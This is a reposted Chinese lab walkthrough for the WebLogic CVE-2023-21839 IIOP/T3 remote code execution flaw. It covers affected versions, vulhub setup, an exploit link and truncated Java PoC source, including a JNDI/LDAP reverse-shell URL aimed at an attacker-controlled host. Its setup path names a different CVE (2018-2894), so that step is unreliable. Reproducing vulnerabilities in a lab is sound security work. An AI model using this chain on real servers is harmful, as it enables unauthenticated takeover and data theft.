行业知识
【漏洞复现】Weblogic 远程代码执行(CVE 2023-21839)
2026-11-13 20:24:34
来源:互联网转载
漏洞原理
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响版本:
Weblogic_Server 12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
环境搭建:
1.切到 cd /vulhub-master/weblogic/CVE-2018-2894 目录下2.docker-compose up -d 启动漏洞环境3.访问:http://your-ip:7001/console如图所示,即为搭建成功。
搭建环境参考:vulhub docker靶场搭建-CSDN博客
漏洞利用
访问http://127.0.0.1:7001/console/login/LoginForm.jsp,漏洞环境已经起来
注:本次目的就是反弹漏洞靶场服务器A的shell
利用方式
DNSLOG探测
EXP链接:https://github.com/DXask88MA/Weblogic-CVE-2023-21839(jar包形式)
源码poc:
import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Random;public class CVE_2023_21839 { static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory"; static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111"; private static InitialContext getInitialContext(String url)throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } public static void main(String args[]) throws Exception { if(args.length